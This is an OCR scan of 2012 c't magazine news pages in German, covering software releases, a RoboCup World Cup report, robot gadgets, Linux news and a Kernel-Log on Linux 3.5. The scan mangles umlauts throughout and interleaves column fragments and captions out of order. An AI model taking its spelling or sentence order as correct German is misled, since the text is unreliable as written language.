One die Rohdatenunterstit-
zung auf den neusten Stand
gebracht. Media Pro kostet
165 Euro; eine 60-Tage-Testver-
sion fur Windows und Mac OS X
steht zum Download bereit.

Im Rahmen seines.Abo-Modells
Creative Cloud vertreibt Adobe
neben allen Anwendungen der
Creative Suite Master Collecti-
on nun auch den Foto-Ent-
wickler Lightroom 4.1. Das
Cloud-Abo kostet monatlich 62
Euro, wenn sich der Kunde auf
mindestens ein Jahr festlegt

In beiden Neuausgaben kann
dvips jetzt die 35 Standard-Post-
Script-Fonts in Ausgabedoku-
mente einbetten, und die Gro-
RBenbegrenzung von 2 GByte
entféllt sowohl fur dvips als auch
fur die Erweiterung pdfTeX. In
der Engine XeTeX wurde der Pa-
rameter \XeTeXdashbreakstate
dem Standard anderer TeX-Engi-
nes angepasst; wer flr Kontinui-
tat beim Umbruch sorgen moch-
te, muss ihn ausdrtcklich zurlick
auf null setzen.

(Dr. Jirgen Fenn/hps)

www.ct.de/1215034

oder 92 Euro mit monatlichem
Kiindigungsrecht.

Unter dem Namen Magix
Foto & Grafik Designer 2013 und
zum Preis von 70 Euro ist das
Grafikpaket Xara Photo & Gra-
phic Designer MX mit deutscher
Bedienoberflache erschienen.
Eine Testversion lasst sich gratis
herunterladen. Die erweiterte
Pro-Version des Pakets gibt es
vorerst nur auf Englisch.

Der kostenlose Unicode-Edi-
tor Babelpad 6.1 erstellt Win-
dows-Textdateien mit Zeichen-
satzen gemal3 Unicode 6.1. Das
Programm lauft in der aktuel-
len Ausgabe unter Windows ab
Version 2000.

www.ct.de/1215034
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Dr. Hans-Arthur Marsiske

Goooool!

Gelungene RoboCup-WM-Premiere

in Mexiko

Zum ersten Mal fand das gro3te Roboterturnier der Welt
in einem lateinamerikanischen Land statt. Sicherheits-
bedenken erwiesen sich als unbegriindet: Die diesjahrige
RoboCup-WM lief ohne groBere Storungen ab, zog viele
Zuschauer an und konnte wieder einige Neuerungen
bieten. Probleme kénnten sich jedoch zukiinftig bei der
Finanzierung der immer teureren Roboter ergeben.

Mexikaner treffen gern Besu-
cher aus dem Ausland”,
sagte Jesus Savage auf die Frage,
warum so viele Studenten sich
bereit erklart hatten, bei der
Durchfiihrung der 16. RoboCup-
Weltmeisterschaft in Mexiko-
Stadt zu helfen. Der Elektroinge-
nieur von der Universidad Nacio-
nal Auténoma de Mexico hatte
zusammen mit Alfredo Weitzen-
feld (University of South Florida)
eine groBe Schar studentischer
Helfer mobilisiert, die die etwa
2000 Besucher des Robotertur-
niers schon am Flughafen in
Empfang nahmen und wéhrend
der folgenden Woche mit viel
Enthusiasmus flr einen rei-
bungslosen Ablauf der Veran-
staltung sorgten.

.Die grote Herausforderung
war die Finanzierung”, so Savage.
Ein wichtiger Sponsor habe erst
einen Monat vor Turnierbeginn

36

das versprochene Geld iberwie-
sen, die letzten Zahlungen seien
eine Woche vor dem Anpfiff ge-
kommen. Doch die Mihe habe
sich gelohnt. Besonders freue
sich Savage Uber den Zuspruch,
den der Nachwuchswettbewerb
RoboCup Junior gefunden hat.
Jm Jahr 2006, als ich das erste
Mal am RoboCup teilnahm, gab
es bei RoboCup Junior kein einzi-
ges Team aus Lateinamerika”,
sagt er. ,Fur die Weltmeister-
schaft in Mexiko-Stadt haben sich
jetzt 18 mexikanische Teams mit
124 Teilnehmern angemeldet
sowie 13 Teams mit 90 Teilneh-
mern aus Brasilien.” Fir die Aus-
bildung des wissenschaftlichen-
technischen Nachwuchses be-
deute das einen starken Schub.
Urspringlich hatten an den
RoboCup-Weltmeisterschaften,
die seit 1997 alljdhrlich ausgetra-
gen werden, ausschlieB8lich Wis-

senschaftlerteams teilgenom-
men, die Roboter flrs FuBball-
spiel konstruierten und pro-
grammierten. Der Kampf ums
Leder sollte die 6ffentliche Auf-
merksamkeit fur Forschungen
zur Kunstlichen Intelligenz be-
fordern, diente aber auch als
einheitliche Testumgebung, um
die Leistungen kooperierender
Teams autonomer Roboter ver-
gleichen zu kénnen. Das ehrgei-
zige Ziel der Initiative ist der Sieg
eines Teams von elf humanoiden
Robotern Uber den amtierenden
menschlichen FuBballweltmeis-
ter bis zum Jahr 2050.

Inzwischen stellen jedoch die
Juniorteams regelmaBig etwa
die Halfte der Teilnehmer und es
geht langst nicht mehr aus-
schlieBlich um FufBlball. Es gibt
Wettbewerbe fur Rettungs-,
Haushalts- und Industrieroboter,
die sich sowohl in der Realitat als
auch in Simulationen bewdhren
mussen. Bei RoboCup Junior
zieht der Tanzwettbewerb stets
viel Publikum an. Ein Junior-
Team vom Georg-Biichner-Gym-
nasium aus dem niedersachsi-
schen Seelze belegte im Wettbe-
werb Rescue A, Secondary mit
einem Mindstorms-NXT-Roboter
den ersten Platz und wurde
damit Weltmeister. Enno Rohrig
(17) und sein Team-Kollege Edu-
ard lljasov ebenso brachten dem
Roboter bei, ein Katastrophen-
Szenario zu durchfahren und ein
.Opfer” zu bergen.

Der Ball ist rund

Im Mittelpunkt der Veranstal-
tung steht aber nach wie vor der
FuBball. So waren es denn auch
die Spielfelder der humanoiden
Roboter, die die Besucher der
RoboCup-WM  zuerst sahen,
wenn sie die groRe Haupthalle
im World Trade Center in Mexico
City betraten. Auf der einen Seite
kickten die Roboter der Huma-
noid League, die von den Teams
selbst konstruiert werden kon-
nen, in den GréBenklassen Kid
Size (30-60cm), Teen Size
(90-120cm) und Adult Size
(Uber 130 cm). Daneben waren
die Teams der Standard Platform
League untergebracht. Sie ver-
wenden den 58 Zentimeter gro-
Ben zweibeinigen Nao-Roboter
der Firma Aldebaran, an dessen

In den Hallen der RoboCup-
WM war Platz genug,

um mehrere Turniere
parallel laufen zu lassen.

Der schonste Roboter im
Wettbewerb, ausgezeichnet
mit dem Louis Vuitton

Best Humanoid Award:
Copedo vom Team NimbRo

Hardware nichts verandert wer-
den darf. Es geht ausschlief3lich
um die Programmierung. Weiter
hinten in der Halle folgte die
Small Size League, deren radge-
triebene Roboter auf die Bilder
einer Uber dem Spielfeld mon-
tierten Kamera zugreifen. Dort
fand sich zudem die aufwendig
gestaltete Arena der Rescue
Robot League fiir Rettungsrobo-
ter sowie die Bereiche der eher
industriell ausgerichteten Wett-
bewerbe RoboCup@work und
Festo Logistics League, die sich
noch in der Erprobung befinden.

Die Juniorwettbewerbe waren
in einer ahnlich groBen Halle im
zweiten Stock untergebracht. Ein
paar Schritte davon entfernt
mussten die Haushaltsroboter
der RoboCup@home League in
einem eigenen Raum schwierige
Aufgaben I6sen, daneben teilten
sich die Rescue Simulation Lea-
gues einen Raum mit den rollen-
den Robotern der Middle Size
League.

Am abgelegensten waren die
FuBball-Simulationswettbewerbe
untergebracht. Nur wenige Zu-
schauer verirrten sich hierher, ob-
wohl dies bislang die einzigen Be-
gegnungen sind, bei denen tat-
sachlich elf gegen elf Spieler an-
treten. Insbesondere die Spiele
der 2D Simulation League kon-
nen es an Tempo und Komplexi-
tat der Spielziige durchaus mit
dem menschlichen FuBball auf-
nehmen. Wie hier die Spitzen-
teams mit Kurzpassen und ra-
schen Fligelwechseln versuch-
ten, die gegnerische Verteidi-
gung aufzubrechen, erinnerte
teilweise an Szenen aus der zeit-

C't2012, Heft 15



Kihlspray und Ersatzteile
reichten bei den Darmstadt
Dribblers gerade so, um das

Spiel um den dritten Platz

erfolgreich zu Giberstehen.

gleich laufenden FuBball-Europa-
meisterschaft. Zwar konnen die
zweidimensionalen Spieler man-
gels Gliedmafen nicht mit Ballar-
tistik und packenden Zweikamp-
fen aufwarten, doch wer nicht si-
cher und schnell dribbeln kann,
zu ungenaue Passe schie3t oder
Uber zu wenige taktische Varian-
ten verfligt, hat keine Chance,
einen der vorderen Plitze zu er-
reichen.

In der dreidimensionalen Si-
mulation laufen die Spiele lang-
samer ab, daftr werden hier
physikalische Kréfte wie Gravita-
tion und Reibung bertcksichtigt.
Mit virtuellen Nao-Robotern auf
einem 20 mal 30 Meter gro3en
Spielfeld entsprechen die Gro-
RBenverhéltnisse dem menschli-
chen FuB3ball. Spielentscheidend
sind aber zumeist grundlegen-
dere Fertigkeiten wie stabiles
Laufen und Kicken. Wichtige Mil-
lisekunden gewinnt man etwa,
wenn sich die Spieler bereits
beim Laufen zum Ball in die rich-
tige Schussrichtung ausrichten.

Offene Plattformen

Noch nicht simuliert werden Fak-
toren wie Erhitzung der Motoren
oder Tragheit der Gelenke, die
wiederum bei den realen Robo-
tern Uber Sieg oder Niederlage
entscheiden kénnen. So hatten
die Darmstadt Dribblers (TU
Darmstadt) am Ende des Turniers
samtliche Servomotoren aufge-
braucht und kaum noch Kuhl-
spray Ubrig, konnten sich aberin
der Humanoid League Kid Size
Uber einen dritten Platz freuen.
Weltmeister wurde wie im ver-
gangenen Jahr das Team DAR-
win von den US-Universitaten
Virginia Tech und University of
Pennsylvania, die dem von ihnen
selbst entwickelten Roboter Dar-
win einige schone Kunststiicke
beigebracht hatten. So stand er
nach einem Sturz mit einer Rolle
rickwarts auf, wenn sich vorihm
ein Hindernis befand, und konn-
te aus dem Laufen heraus kicken,
indem der letzte Schritt vor Errei-
chen des Balls etwas kraftiger
ausgefihrt wurde. ,Wir nennen
es walk-kick”, erlauterte ein
Teammitglied.

Der Darwin-Roboter wird in-
zwischen von der sudkoreani-
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schen Firma Robotis als Open-
Source-Plattform vermarktet und
von vielen RoboCup-Teams ver-
wendet. Der Wechsel auf eine
neue Plattform ist zwar immer
mit Problemen verbunden, wes-
wegen die Qualitat der Spiele in
diesem Jahr insbesondere in der
Vorrunde nicht immer Gberzeu-
gen konnte. Der RoboCup-Neu-
ling RoBIU aus Israel konnte mit
seinen Darwins aber immerhin
auf Anhieb das Viertelfinale er-
reichen.

Der Wettbewerb in der Teen
Size der Humanoid League
konnte auf dhnliche Weise durch
eine offene Plattform belebt
werden, die das Team NimbRo
(Uni Bonn) gemeinsam mit Ro-
botis entwickelt hat. Sie beruht
auf dem Roboter Copedo, der
erstmals bei einem RoboCup-
Turnier antrat und in einem
spannenden Finale entschei-
dend zum 6:3-Sieg Uber das ja-
panische Team CIT Brains bei-
trug, den Spezialwettbewerb
Technical Challenge mit sicher
ausgefihrten Einwirfen gewann
und den bereits seit 2002 ausge-
lobten Louis Vuitton Best Huma-
noid Award gewann. Der Robo-
ter, der ungeféhr 20 000 Euro
kosten soll, kénnte es neuen
Teams ermdglichen, auf hohem
Niveau in die Teen Size einzu-
steigen. Je mehr sich die huma-
noiden Roboter menschlichen
Koérpermallen anndhern, desto
teurer werden sie. Immer weni-
ger Teams durften dann finan-
ziell in der Lage sein, eine kom-
plette FuBballmannschaft zu un-
terhalten. Mehr und mehr wird
daher Uber gemischte Teams ge-
sprochen, die aus Robotern ver-

Die Spieler von B-Human und
TT-UT Austin Villa werden
vor dem Finale der Standard
Platform League mit Energie
aufgeladen und bekommen
letzte Instruktionen.

schiedener Universitaten zusam-
mengesetzt sein kdnnten.

Orientierungsprobleme

Da die Tore in der Standard Plat-
form League nicht mehr durch
verschiedene Farben unterschie-
den sind, mussten die Teams
neue Verfahren fur die Selbstloka-
lisierung der Spieler entwickeln.
Eine Moglichkeit ist es, sich an
optischen Merkmalen auBerhalb
des Spielfeldes zu orientieren, die
sich aber im Verlauf eines Spiels
verdandern konnen. Viele Teams
stlitzen sich daher auf die Kom-
munikation der Roboter unter-
einander, wobei dem Torwart,
der ja zumeist in der eigenen
Halfte bleibt, die wichtigste Rolle
zukommt. Er kann den Ubrigen
Spielern mitteilen, in welche Rich-
tung sie kicken mussen - sofern
das WLAN nicht gestort ist. Das
kam leider haufiger vor und trug
dazu bei, dass der mehrfache
Weltmeister B-Human (Uni Bre-
men) den Titel diesmal im Finale
an TT-UT Austin Villa aus Texas
abgeben musste.

Zu den weniger zuschauer-
freundlichen Ligen beim Robo-
Cup zéhlt die Rescue Robot Lea-
gue, deren Wettbewerb sich in
einer bewusst untbersichtlich
gestalteten Arena abspielt und

aktuell | RoboCup-WM

nach einem komplizierten Punk-
tesystem bewertet wird. Durch
die enge Abstimmung mit dem
US-amerikanischen National Insti-
tute of Standards and Technolo-
gy (NIST) gilt sie aber zugleich als
eine der am besten organisierten
Ligen und genief3t auch aufer-
halb des RoboCup grof3e Aner-
kennung. Bei der Suche nach
Uberlebenden in einem nachge-
stellten Katastrophenszenario ist
die Fernsteuerung der Roboter,
anders als bei den Ubrigen Robo-
Cup-Wettbewerben, zugelassen.

Bislang wurde der Wettbe-
werb dann auch von sehr mobi-
len, ferngesteuerten Robotern
dominiert. In diesem Jahr jedoch
erreichte das Team Hector von
der TU Darmstadt Platz zwei der
Gesamtwertung. Damit kam zum
ersten Mal Uberhaupt ein voll-
standig autonom fahrender Ro-
boter unter die ersten drei. Ge-
samtsieger wurde mit MRL von
der Qazvin Islamic Azad Universi-
ty ebenfalls erstmals ein irani-
sches Team.

Teilnehmer aus dem Iran
waren in diesem Jahr trotz der
weiten Anreise zahlenmaRig sehr
stark vertreten, weil die Einreise-
formalitaten fir Mexiko weniger
streng sind als in vielen anderen
Landern. Die meisten Teams
kamen jedoch aus Deutschland,
obwohl im Juniorbereich Sicher-
heitsbedenken viele von einer
Teilnahme abgehalten haben
maogen.

Im kommenden Jahr dirfte es
solche Bedenken nicht geben.
Die geografische Ndhe des Aus-
tragungsortes Eindhoven fiir die
RoboCup-WM 2013 kdnnte sogar
zu einer Rekordbeteiligung deut-
scher Teams fuhren. Danach ist
dann erneut Lateinamerika dran:
Als Austragungsort fiir die Welt-
meisterschaft 2014 entschied sich
die RoboCup Federation fir Joao
Pessoa in Brasilien. (dab)

37



aktuell | Roboter

Gottesanbeterin auf dem Mars

Der Fangschrecken-ahnliche Roboter ,Man-
tis” soll eigenstandig Planeten erkunden und
mit seinen Greifern eine Infrastruktur auf-
bauen konnen. In seiner Form ist der Roboter
einer Gottesanbeterin nachempfunden. Die
Hard- und Software entwickeln Wissenschaft-
ler des Robotics Innovation Center am Deut-
schen Forschungszentrum fir Kiinstliche In-
telligenz (DFKI) und der Universitat Bremen.
Nach Angaben der Forscher soll Mantis
dank seines Korperbaus und verschiedener
Laufmuster steile Krater und Gerollfelder
Uberwinden sowie mit seinen Vorderbeinen
Objekte greifen und manipulieren kénnen.
Dafiir hebt der Roboter — wie eine Gottesan-
beterin - den Oberkérper an. Mantis wird im
Rahmen des Projekts ,Learning Intelligent
Motions for Kinematically Complex Legged

Robots for Exploration in Space” (LIMES) ent-
wickelt. LIMES wird mit rund 3,7 Millionen
Euro vom Deutschen Zentrum fur Luft- und
Raumfahrt (DLR) gefordert. ,Die Herausfor-
derung ist, Laufmuster fir unterschiedliche
Bodenbeschaffenheiten zu erlernen, in
denen alle sechs Beine trotz verschiedener
Aufgaben im Einklang arbeiten”, erklart Prof.
Dr. Frank Kirchner, Leiter des DFKI Robotics
Innovation Center und der Arbeitsgruppe
Robotik an der Uni Bremen.

Projektziel ist, dem Roboter Algorithmen
fur verschiedene Laufmodi mitzugeben. Die
Bewegungsmuster werden in Simulationen
vorgelernt. Das passende Laufmuster wahlt
der Roboter aus einer Verhaltensbibliothek
anhand von Daten aus, die Sensoren an sei-

nen FiBen liefern. Reale Tests folgen in der -

Turing-Maschine mit Mindstorms

Anlasslich des 100. Geburtstags von Alan Tu-
ring haben drei Niederldnder eine Turing-
Maschine mit einem einzigen Robotik-Bau-
kasten Lego Mindstorms NXT gebaut. Eine
Turing-Maschine ist ein abstraktes Modell
eines Computers respektive ein Konzept zur
Prifung der Berechenbarkeit. Eine Funktion
ist berechenbar, wenn eine Turing-Maschine
sie I6sen kann. Die Maschine kommt mit nur
drei Operationen aus, die es auf Grundlage
eines festen Regelsatzes auf einem gedach-
ten unendlich langen Speicherband aus-
fuhrt: Lesen, Schreiben und den Lese-Schrei-
be-Kopf Uber einzelne Datenfelder des Ban-

Aibo trifftiPhone

15 Servo-Motoren steuern die vordefinierten
Bewegungen des auf der Tokioter Spielwaren-
messe vorgestellten robotischen Hunds i-
Sodog. Er erinnert zwar stark an den legenda-
ren Aibo von Sony, mangels Kamera wird er
aber wohl nicht an dessen Fahigkeiten heran-
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des bewegen. Daraus lassen sich alle Grund-
funktionen der Mathematik ableiten.

Aus Ressourcen-Griinden hat die NXT-
Turing-Maschine jedoch nur ein ,Band” mit
32 Feldern. Die Felder werden durch Lego-
Winkelverbinder repréasentiert, deren Stel-
lung eine 0 oder 1 darstellt. Motoren bewe-
gen das Band und den Schreib-Lese-Kopf.
Als Lesekopf muss der NXT-Lichtsensor her-
halten, zum Schreiben legt ein motorisierter
Hebel die Winkelverbinder um. Ein Video
zur Arbeit der Maschine und weitere Details
sind unter www.legoturingmachine.org zu
finden. (dab)

kommen. Immerhin soll der Hund dank eines
Mikrofons auf 50 Sprachbefehle unterschied-
lich reagieren und sein Verhalten @ndern kon-
nen. Eine einfache Kl soll ihm dabei helfen.
Daneben hat i-Sodog Touch-Sensoren auf
dem Kopf und seinem Riicken. An der Nase ist
zudem ein kapazitiver Sensor eingebaut, Gber
den zwei Roboter-Hunde sogar Daten austau-
schen kénnen. Das funktioniert beispielsweise
auch dann, wenn ein Mensch die Nase von
zwei Hunden mit seinen Handen berihrt.
i-Sodog lasst sich via Bluetooth-Verbin-
dung Uber Smartphones steuern, der Her-
steller Takara Tomy hat erste Apps fir iOS
und Android bereits vorgefiihrt. Der Roboter
kann zudem synchron zu auf dem Smart-
phone abgespielter Musik tanzen. Im Liefer-
umfang des fir Anfang 2013 geplanten Mo-
dells soll ein Controller enthalten sein, mit
dem man dem Roboter eigene Bewegungen
beibringen kann. Die Laufzeit des integrier-
ten Akkus betragt rund eine Stunde. Der
Preis des vorerst nur in Japan erscheinenden
Roboters soll bei umgerechnet etwas tber
300 Euro liegen. (dab)

Der Roboter-Hund i-Sodog
hort auf 50 Sprachbefehle.

Insekten im Weltall: Dank seines
beweglichen Oberkérpers kann
Mantis seine zwei vorderen Beine
als Arme benutzen.

Weltraum-Explorationshalle des DFKI, einem
288 Quadratmeter grof3en Testgeldnde mit
kinstlicher Kraterlandschaft. Mit einer Ste-
reokamera im Kopf soll Mantis spater ein 3D-
Bild seiner Umgebung erstellen und zur Erde
funken. (dab)

Sauger mit Fernbedienung

iRobots neuestes Modell Roomba 790
kommt bereits von Haus aus mit einem
Wireless Command Center. Anwender kon-
nen damit den Saugroboter bequem vom
Sofa aus steuern und programmieren. Im
Vergleich zum Modell 780 ist im Lieferum-
fang des 790 mehr Zubehor enthalten: drei

Mit dem Wireless Command Center
kann man den Roomba zwar vom Sofa
aus steuern. Bier holen kann er aber
immer noch nicht.

statt zwei Virtual Wall Lighthouses, mit
denen sich der Aktionsradius des Roomba
kiinstlich eingrenzen lasst. Daneben kon-
nen die Lighthouses als virtuelle Tur fungie-
ren und dem Roboter erst dann den Weg in
einen anderen Raum freigeben, wenn er
den aktuellen (weitestgehend) gesdubert
hat.

Auch am AuBeren hat iRobot gefeilt und
dem Sauger ein blau-silbriges Design ver-
passt. Der Roomba 790 ist ab sofort im Shop
von iRobot fiir 899 Euro verfugbar. (dab)
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Torvalds beschimpft Nvidia

,Nvidia ist die schlimmste Firma,
mit der ich je zu tun hatte. Nvi-
dia, fuck you!” Mit diesen drasti-
schen Worten und ausgestreck-
tem Mittelfinger

Linux-Vater Linus Torvalds die
aktuellen Probleme mit Nvidias
Hybridgrafiktechnik der Opti-
mus-Chips. Der Chip-Hersteller
war erstim Marz der Linux Foun-
dation beigetreten, fir die auch
Torvalds tatig ist.

Zur Beschimpfung von Nvidia
kam es bei einem Interview an
der Aalto-Universitat in Helsinki,
die Torvalds den als ,Technik-
Nobelpreis” bekannten Millen-
nium Technology Prize verlieh,
als eine Teilnehmerin Torvalds
auf Schwierigkeiten mit Nvidias
Optimus-Chips unter Linux an-
sprach. Torvalds antwortete zu-
nachst recht sachlich: Nvidia sei
eher die Ausnahme als die
Regel und einer der groBten
Problemfélle unter den Hard-
ware-Herstellern. Das sei vor
allem deswegen traurig, weil
Nvidia eine Menge Chips im An-
droid-Markt verkaufen wolle.
Danach liel er sich zu der Be-
schimpfung hinreiBen, auf die
das Publikum mit Gelachter und
Applaus reagierte.

Nvidia verteidigte sich damit,
in der Treibergeneration 295 ei-
gens einige Hinweise in die Do-
kumentation aufgenommen zu
haben, die die Hybridgrafiktech-
nik der Optimus-Chips betreffe.

Weiter heif3t es in der Mitteilung,
Nvidia habe die Entscheidung
getroffen, bei der Linux-Unter-
stitzung auf hauseigenen, auch
auf anderen Plattformen genutz-
ten Code zu setzen, statt sich in
die Entwicklung des Grafikstacks
von Linux einzubringen.

AuBerdem habe Nvidia in
jungster Zeit viel zum ARM-Code
des Linux-Kernels beigetragen.
Zudem wiurde sich Nvidia auch
verstarkt um die Linux-Unter-
stlitzung der hauseigenen Chips
in PCs kiimmern: So stlinden
Linux-Treiber nicht nur schon bei
der Markteinfihrung neuer Gra-
fikchips zum Download bereit,
sondern sie wirden auch einen
mit dem Windows-Treiber ver-
gleichbaren Funktionsumfang
und eine dhnliche OpenGL-Per-
formance bieten.

Mit dem Open-Source-Treiber
des Nouveau-Projekts gibt es
eine Alternative zu Nvidias pro-
prietdrer Software. Mit der Mitte
Mai verdffentlichten Version
1.0.0 des freien Nvidia-Grafiktrei-
bers hat nach sieben Jahren Ent-
wicklungszeit auch der letzte Teil
des Treibers den Beta-Status ab-
gelegt, gleichzeitig wurde der
Code aus dem Staging-Bereich
des Kernels in den Hauptent-
wicklungszweig Ubernommen.
Kunftige Versionen des Linux-
Kernels sollten Nvidia-Grafik-
karten somit out of the box un-
terstlitzen. (hos/thl)

Erster Freeze bei Debian 7.0 Wheezy

Mit Veroffentlichung dieser c't-
Ausgabe will das Debian-Projekt
die automatische Migration von
Paketen aus dem Unstable-Be-
reich in den Testing-Zweig been-
den - und lautet damit die erste
Freeze-Phase flir das kommende
Debian 7.0 mit dem Codenamen
Wheezy ein. Geplant sind weitere
Freeze-Phasen, bei'denen die An-
derungsmoglichkeiten der Ent-
wickler immer weiter beschrankt
werden. Zunachst aber will das

Debian Release Team Aktualisie-
rungen der Pakete noch recht
groB3ziigig akzeptieren.

Ein Datum fir die Fertigstel-
lung von Debian 7.0 gibt es wie
beim Debian-Projekt tblich
nicht, angepeilt ist Anfang 2013
- wobei es nicht ungewdhnlich
ware, wenn Wheezy erst etliche
Monate spater fertig ist: Das De-
bian-Team verfolgt traditionell
die Doktrin ,Release when
ready”. (thl)

Red Hat steigert Quartalsumsatz

Mit 314,7 Millionen US-Dollar im
ersten Quartal des Finanzjahrs
2013, bei Red Hat endet das Ge-
schéaftsjahr bereits Ende Februar,
hat der Linux-Distributor seinen
Umsatz gegeniiber dem Vorjahr
um 19 Prozent gegeniiber dem
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Vorjahr steigern konnen. Der
Umsatz mit Software-Subskrip-
tionen stiegt sogar um 21 Pro-
zent auf 272,6 Millionen US-Dol-
lar im Quartal, der Nettogewinn
wuchs um 15 Prozent auf 37,5
Millionen US-Dollar. (anw)

Neues c’t Linux

Schwerpunkt des neuen c't-Son-
derhefts ist das Thema Hardware
fur Linux. Quer Uber alle Hard-
warekategorien vom Notebook
bis zum Video-Grabber, vom
Drucker bis zur SSD wird erklart,
wie man Linux-taugliche Hard-
ware findet und die Gerate opti-
mal unter Linux einrichtet. Tests
unter anderem von Ultrabooks,
UMTS-Sticks und TV-Karten tber-
prifen, wie aktuelle Hardware
mit dem freien Betriebssystem
zurechtkommt.

Weitere Themen im Heft sind
der File-, Print- und Active-Di-
rectory-Server Samba 4, Content
Management mit Drupal, Server
in der Amazon-Cloud, komfor-
table Backup-Tools, der neue
Gimp 2.8 und der 35-Dollar-
Computer Raspberry Pi. Mehrere
Artikel prasentieren Know-how
zum Thema Booten, von der L6-
sung alltaglicher Boot-Probleme
Uber das Einrichten eines Dual-
Boot-Systems auf UEFI-Rechnern
bis zum Init-Ersatz Systemd, der
den Bootprozess beschleunigen
soll.

Auf zwei DVDs liegen dem
Heft verschiedene Varianten von
Fedora 17 und Linux Mint 13
(,Maya") in 32 und 64 Bit bei. Ar-
tikel erklaren die Installation und
Einrichtung der Linux-Distribu-

UEFI Secure Boot:

tionen und den Umgang mit den
Desktops Gnome 3 und Cinna-
mon. Hinzu kommen eine Voll-
version von SoftMaker Office fiir
Linux und eine OwnCloud-Appli-
ance, die unter VMware und Vir-
tualBox die Synchronisation von
Adressen, Terminen und Dateien
Gber mehrere Gerdte hinweg er-
maoglicht.

Das neue c't Linux 2/12 ist
Uber den Heise Shop unter www.
heise-shop.de/_pid_388.html
versandkostenfrei bestellbar und
ab dem 2. Juli im Zeitschriften-
handel erhdltlich. Das Heft kostet
8,90 Euro. (odi)

www.ct.de/1215040

Microsoft-signierter Loader fiir Ubuntu

Um Ubuntu kinftig auf Rech-
nern mit aktivem UEFI Secure
Boot starten zu konnen, wird das
Projekt seinen eigenen Weg
gehen. Wie Mark Shuttleworth
erklarte, konne man aufgrund
der GPLv3 den Bootloader Grub2
nicht flir den Einsatz mit UEFI Se-
cure Boot signieren, ohne dass
man gezwungen ware, auch den
Ubuntu-Schltssel zu veroffent-
lichen. Daher musse ein Boot-
loader mit einer anderen Ver-
breitungslizenz zum Einsatz
kommen: Intels efilinux.

Der Plan ist, einen Urloader zu
entwickeln, der den von Ubuntu
signierten Bootloader efilinux
sucht und startet. Dieser Urloa-
der soll dann von Microsoft sig-
niert werden, um zu gewdhrleis-
ten, dass Ubuntu-Installations-
medien auch kinftig auf jedem
Rechner booten kénnen. Indem
man den Urloader von Microsoft
signieren lasst und dieser den

vom Ubuntu-Projekt selbst sig-
nierten efilinux-Loader startet,
kénne man problemlos Ande-
rungen an efilinux vornehmen,
ohne dass man Microsofts Signa-
turdienst erneut in Anspruch
nehmen misste. Der Linux-Ker-
nel und die Kernel-Module sollen
nicht siginiert werden, die Signa-
turkette soll bei efilinux enden.
Hersteller, die ihre Rechner fir
Ubuntu zertifizieren wollen, wer-
den den Ubuntu-Signaturschls-
sel direkt in der UEFI-Firmware
speichern missen - dies verlangt
Canonical, damit solche Systeme
efilinux direkt starten konnen.
Der Microsoft-Key muss aller-
dings erhalten bleiben: Da Boot-
medien nach der UEFI-Spezifika-
tion lediglich mit einem Schltssel
signiert sein kdnnen, stellt Cano-
nical so sicher, dass auch Ubun-
tu-zertifizierte Rechner weiterhin
von den Ubuntu-Installations-
medien booten kénnen.  (mid)
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Thorsten Leemhuis

Kernel-Log

Linux-Kernel 3.5 in der Testphase

Der Ende Juli oder Anfang August erwartete Linux-
Kernel 3.5 bringt Verbesserungen zur Laufzeitanalyse
von Software sowie zusatzliche und verbesserte Grafik-
treiber. Das Ext4-Dateisystem wird seine Metadaten
mit Checksummen absichern kénnen.

N ach Jahren der Entwicklung
und Dutzenden von Umbau-
ten stoflt mit Linux 3.5 der Code
fur Uprobes (Userspace Probes)
zum Kernel. Er kann zur Laufzeit
Breakpoints in Userspace-Code
einfigen. Diese Funktion lasst
sich bislang nur Uber das Perf-
Events-Subsystem nutzen; darauf
zurtickgreifende Tracing-Soft-
ware wie die aktuelle Systemtap-
Version oder das dem Kernel bei-
liegende Perf sind dadurch jetzt
in der Lage, Tracepoints in User-
space-Software einfligen, um so
das Laufzeitverhalten von Kernel
und Programmen in einem Zug
zu beobachten. Damit er6ffnen
sich neue Analysemoglichkeiten,
die jedoch weiterhin weit hinter
dem Funktionsumfang zurtick-
bleiben, die Dtrace bei Solaris bie-
tet; dazu wéren einige bislang nur
angedachte Erweiterungen rund
um Uprobes nétig.

Grafik

Der Radeon-Treiber wird HDMI-
Audiobei modernen AMD-Grafik-
chips besser unterstiitzen. Zu-
dem soll er mehr Performance
aus den DirectX-11-GPUs kitzeln.
Der Nouveau-Treiber von 3.5
kann die Hardware-Beschleuni-
gung der Kepler-Chips nutzen,
die auf einigen der neuesten Ge-
Force-Karten sitzen. Firs Erste ist
dazu allerdings eine Firmware er-
forderlich, die man dem proprie-
taren Treiber entlocken muss.
Kernel 3.5 bringt rudimentére
Treiber fur die Grafikchips aus
der 2000er-Serie von AST
(ASpeed  Technologies), der
G200-Serie von Matrox und den
von Qemu emulierten Cirrus-
Grafikkern. Da die beiden zuerst
genannten  Grafikkerne vor-
nehmlich in Servern stecken, ist
es kein grofRer Verlust, dass die
zugehorigen Treiber keine Be-
schleunigungsfunktionen nut-
zen. Mehrere Grafiktreiber erhal-
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ten mit Linux 3.5 Grundlagen zur
besseren Unterstiitzung von Hy-
bridgrafik; an der passenden Un-
terstlitzung im X-Server und an-
deren Stellen des Grafikstacks
wird noch gearbeitet.

Storage

Das Ext4-Dateisystem wird seine
Metadaten ab Linux 3.5 mit Priif-
summen versehen kénnen. Falls
es spater Verfalschungen an den
Dateisystem-Interna erkennt,
kann es die Arbeit gegebenen-
falls stoppen, um nicht verse-
hentlich Nutzdaten zu zerstéren.
Altere Kernel kdnnen Ext4-Datei-
systeme, bei denen diese Funk-
tion per Tune2fs aktiviert wurde,
nur noch lesend einbinden. Bei
Btrfs gab es einige Anderungen
an der Handhabung von Meta-
daten, welche die Latenzen in
bestimmten Féllen deutlich re-
duzieren sollen; der Btrfs-Code
fur RAID 5 und 6 hat die Aufnah-
me abermals verpasst.

Mit Hilfe der Target-Infrastruk-
tur-Software von Linux-Iscsi.org
(LIO) kann Kernel 3.5 Datentra-
ger per FireWire exportieren, die
andere Systeme wie einen Fire-
Wire-Datentrdger einbinden kon-
nen; viele Apple-Systeme bieten
solch einen ,FireWire target disk
mode” schon ldnger. Auch mit
den Fibre-Channel-Controllern
aus QLogics Serien 2400, 2500
und 2600 wird Linux 3.5 als SCSI
Target arbeiten kénnen; Selbiges
gelingt bei 3.5 erstmals auch per
UASP (USB Attached SCSI Pro-
tocol), wenn der USB-Chip ent-
sprechende ,Gadget”-Funktio-
nen zum Betrieb als USB Master
beherrscht.

Netzwerk

Zum Netzwerksubsystem stoft
.Codel”, eine Implementierung
